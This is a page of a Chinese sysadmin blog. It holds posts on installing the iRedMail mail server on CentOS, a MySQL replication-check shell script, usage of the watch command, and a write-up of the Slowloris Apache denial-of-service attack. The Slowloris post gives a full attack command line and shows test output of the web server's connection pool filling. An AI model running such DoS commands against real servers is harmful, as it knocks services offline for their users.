Sep 2
安装操作系统:centos5.3
安装过程选择:server 类型。 在选择自定义包时。注意添加:开发包的开发工具 (以便让其包含有GCC) 及系统工具及系统管理工具。

下载安装包:http://code.google.com/p/iredmail/
下载链接:http://iredmail.googlecode.com/files/iRedMail-0.5.0.tar.bz2
版本:iredmail-0.5.0.

安装前准备:1。操作系统安装,2。可联接互联网。(以方便软件包在线更新及下载。)3。配置好对应的邮件主机名。4。注意分区 /var要大一点。邮件存放此目录中。(当然可调整~)

测试机分区情况:
Filesystem            Size  Used Avail Use% Mounted on
/dev/hda5              38G  2.1G   34G   6% /
/dev/hda7              54G  181M   51G   1% /opt
/dev/hda3              57G  234M   54G   1% /var
/dev/hda2              76G  184M   72G   1% /home
/dev/hda1              99M   12M   83M  12% /boot
tmpfs                 505M     0  505M   0% /dev/shm

安装开始:

下载:wget http://iredmail.googlecode.com/files/iRedMail-0.5.0.tar.bz2
解包:tar xjf iRedMail-0.5.0.tar.bz2

变更主机名为mail.***.com
安装时有写主机名了,这部略过。

下载软件包:
cd iRedmail-0.5.0/pkgs  
bash get_all.sh    下载所需软件包
若按server方式安装,估计下载的包有53个左右。后附软件包细节

cd ..
bash iRedMail.sh
出现安装配置图界面(本截图使用的是SecureCRT远程连接的配置截图)

点击在新窗口中浏览此图片
Sep 1
iredmail 邮件系统 项目地址:http://code.google.com/p/iredmail/

安装设置5.0版本。操作过程中发现其说明档与实际的安装过程是有点出入的。
新版本的主目录是在/var/vmail而说明档中是在/home/vmail下。

经过试用。这套软件对于中小企业是很有用的。布暑简单快捷。当然,需要对linux有操作维护经验的人员才能做好。就如上周,一朋友即使下载的是iredmailOS版的。装了5次系统,还是未能布署上去。

iRedMail,中文名为"艾瑞得邮件",由 rhms 项目 更名而来。是针对 Red Hat(R) Enterprise Linux 和
CentOS 设计的邮件服务器解决方案,是在操作系统安装好后使用的一套 shell 脚本,用于快速部署一套功能完善的邮件服务器解决方案。
Features

iRedMail 的主要特色及功能:
轻松、快速部署

* 1分钟内即可完成安装与配置。

支持多平台、多版本

* 支持 i386, x86_64 平台。
* 支持 Red Hat Enterprise Linux/CentOS 5.0 ~ 5.2 版本。

安全传输

* 为 Web 访问提供了 TLS/SSL 加密支持,有效保障您的信息安全;
* 提供 SMTP,SMTPS 服务,为您发送的邮件提供加密支持,有效保障您的信息安全。
* 提供 POP3,POP3S,IMAP,IMAPS 服务。您的用户可以使用 OutLook?, Foxmail,
Thunderbird 等邮件客户端收发邮件,并且可以选择是否使用加密传输以保证信息安全;
* 灵活的邮件备份与监控机制。可以监控、备份单个用户收发的邮件,也可以对整个域的用户进行监控和备份。

有效抵挡垃圾邮件

* 使用 SPF 技术识别邮件来源,有效防止假冒邮件。
* 使用 DKIM 签名和校验技术。
      o 有效保证您的邮件顺利抵达收件人,并且收件方可以准确识别您的邮件,有效防止邮件被拒收等问题。
      o 有效验证接收到的邮件是否缺失来自发件的域,有效防止垃圾邮件、假冒邮件。
* 使用灰名单(greylist)技术,有效抵挡垃圾邮件。有许多系统管理员反馈,使用了灰名单技术后,垃圾邮件减少了 80% - 99%。
* 黑、白名单技术。
* 灵活的邮件收发控制。
* 灵活的邮件收发频率控制。例如,限制某用户在一分钟内最多只能发送或接收 5 封邮件。
* 灵活的邮件收发总容量控制。例如,限制某用户在一分钟内最多只能发送或接收 10M 的邮件。

有效的病毒防护机制

* 使用强大的开源查杀毒引擎 ClamAV 为您的邮件提供病毒查杀服务,并且定期更新病毒库,以保障您的邮件安全。

Web Mail

* 提供基于 AJAX 技术的 Web Mail 程序,易于操作,性能优异,速度快。也为您的移动办公提供极大的便利。
* 您还可以选择其它 Web Mail 程序:
      o ExtMail?
      o Horde WebMail?
      o SquirrelMail?

灵活的用户策略控制

* 灵活的邮件收发控制。您可以实现以下策略:
      o 只能收,不能发。
      o 只能发,不能收。
      o 不能使用 POP3 服务;
      o 不能使用 IMAP 服务。
* 灵活的单封邮件大小控制;您可以为您的 Boss 设置单封邮件的大小为 20M,30M 等,而其他用户则只能是 10M。
* 灵活的收件控制。用户可以屏蔽某个域的所有邮件,但允许接收其中某个用户的邮件。

管理选项

* 无限量的虚拟域和虚拟用户。
* 为管理员提供了方便易用的管理后台,进行域、用户的添加删除等日常管理工作;
* 详细的邮件流量分析。以图表的形式为您呈现邮件服务器的活动状况。

iredmail邮件系统架设服务

Jul 4
随着做mysql数据库同步的服务器的增多,目前已有十余台服务器做了数据库同步。这些数据库同步节点的检查也变得日益重要。

为了方便特别写了以下脚本。轮循对所有mysql从机进行检查是否有同步。

参考:自动检查mysql运行状态 http://www.diybl.com/course/7_databases/mysql/Mysqljs/2008729/134277.html
         检查MySQL的Slave是否正常 http://blog.chinaunix.net/u/29134/showart_1018377.html

我的代码如下:

#!/bin/sh
#
# Created by xieyy  QQ:5090235
# To determine whether slave is running or not.
TATUS_LOGS="/var/log/mysql_status.log"
USERNAME=mysql_user
PASSWD=mysql_password
ADMIN="Email@email.com"
DATA=`date '+%Y%m%d%k%M'`
IP="192.168.0.1 192.168.0.2 192.168.0.3 192.168.0.4"
#将所有想监控的从机的IP地址都放到IP表里。以空格为分隔。

cd /usr/bin/

for i in $IP
do
HOSTNAME=$i

RESULT=`./mysql -u$USERNAME -p$PASSWD -h$HOSTNAME -e 'show status like "Slave_running"' -ss | awk '{print $2}'`
if [ "$RESULT" == 'ON' ]
then
  echo -e "$HOSTNAME  $DATA  Slave is running!" >> $TATUS_LOGS
else
  echo -e "$HOSTNAME  $DATA  Slave is not running!">> $TATUS_LOGS
fi
sleep 1
done

cd /root/bin
/bin/mail $ADMIN -s "Status Report For DNS Server mysqld_slave status!!!!" < $TATUS_LOGS
>$TATUS_LOGS


设置一下定时检查。等着收邮件即可了~

邮件结果如下:


192.168.0.1   200907042055    Slave  is  running!
192.168.0.2   200907042055    Slave  is  running!
192.168.0.3   200907042055    Slave  is  running!
192.168.0.4    200907042055    Slave  is  not  running!
192.168.0.5   200907042055    Slave  is  running!


假设若没有mail 功能函数。可直接利用telnet发送。

终于解决了数据库同步的监控问题。再也不用手动去检查mysql数据库是否有同步了。目前检查一下了。共设制了近20IP,以这一项就可少去每天的手动检查。近40分钟了。若是每天需要检查的话。呵呵~
Jun 24
昨天写了一篇linux下Apache严重漏洞攻击代码公开的文章。今天TTplay回复我,为什么当时查看httpd的时候,不使用watch命令。

关于watch命令,之前使用的都不多,今晚特别去了解一下linux下的watch命令。

Usage: watch [-dhntv] [--differences[=cumulative]] [--help] [--interval=] [--no-title] [--version]
  -d, --differences[=cumulative]        highlight changes between updates
                (cumulative means highlighting is cumulative)
  -h, --help                            print a summary of the options
  -n, --interval=              seconds to wait between updates
  -v, --version                         print the version number
  -t, --no-title                        turns off showing the header

watch -- 监测命令的运行结果

watch是一个非常实用的命令,基本所有的Linux发行版都带有这个小工具,如同名字一样,watch可以帮你监测一个命令的运行结果,省得你一遍遍的手动运行。

在Linux下,watch是周期性的执行下个程序,并全屏显示执行结果。

-d, --differences[=cumulative] 高亮显示变动
-n, --interval= 周期(秒)

如:watch -n 1 -d netstat -ant
其它操作:
切换终端: Ctrl+x
退出watch:Ctrl+g

watch -n 1 -d 'pstree|grep http' 每隔一秒高亮显示http链接数的变化情况。 后面接的命令若带有管道符,需要加''将命令区域归整。

在查看攻击时,经常使用的方式有如下:
实时查看模拟攻击客户机建立起来的连接数,使用
watch 'netstat -an | grep:21 | \ grep<模拟攻击客户机的IP>| wc -l'  

查看模拟攻击客户机被 DROP 的数据包数。

watch 'iptables -L -n -v | \grep<模拟攻击客户机的IP>'  

谢谢TTPLAY~
Tags: ,
Jun 24
Apache中的一个严重漏洞将使得拒绝服务攻击(DoS)变得异乎简单。
  Apache 1.x,2.x,dhttpd,GoAhead WebServer和Squid确认都受到影响;IIS6.0,IIS7.0和lighttpd未被波及。Apache基金会目前还没有发布补丁。

  ha.ckers公开的Slowloris代码允许对一台特定的服务器发动缓慢的拒绝访问攻击,而不是用堵塞整个网络,它能让一台机器攻陷了另一台机器的 web server,只需使用极少的带宽,对不相关的服务和端口的副效应降到最低。拒绝服务的理想攻击情况是除了webserver不可访问之外,其它服务都完整无缺。Slowloris便源自这个理念,相比大多数攻击方法它更隐蔽。Slowloris首先发送一个不完整的HTTP请求,打开连接,然后每隔一段 时间发送剩余的header,以保证通讯端不被关闭,于是webserver的一个线程便被占用了。由于webserver允许的线程数量是有限制的,因 此Slowloris会缓慢的消耗掉所有的通讯端口。Slowloris是一个Perl程序,需要Perl解释器才能运行。

Slowloris attack code super-link

点击上述链接,可测试.类似全链接攻击.

今天晚上测试了一下攻击代码.果然还是很有效.主要是通过将APAHE的链接数占满来达到攻击效果.
如下示:
攻击: ./slowloris.pl -dns test.test.com -port 80 -time 2000 -num 500 -tcpto 5

受攻击的机器上的情形如下示:
     |-httpd-+-8*[cronolog]
     |       |-114*[httpd]
     |       `-4*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-120*[httpd]
     |       `-4*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-194*[httpd]
     |       `-6*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-225*[httpd]
     |       `-7*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-289*[httpd]
     |       `-7*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-321*[httpd]
     |       `-7*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-386*[httpd]
     |       `-6*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-418*[httpd]
     |       `-6*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-620*[httpd]
     |       `-4*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-607*[httpd]
     |       `-3*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-606*[httpd]
     |       `-3*[httpd---sendmail]
[root@test ~]# pstree|grep http
     |-httpd-+-8*[cronolog]
     |       |-604*[httpd]
     |       `-3*[httpd---sendmail]

bm
[root@test lib]# tail -f /home/www/apache_logs/www-error_log20090623|grep 192.168.0.2
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
[Tue Jun 23 22:38:58 2009] [error] [client 192.168.0.2] request failed: error reading the headers
Tags:
分页: 2/9 第一页 上页 1 2 3 4 5 6 7 8 9 下页 最后页 [ 显示模式: 摘要 | 列表 ]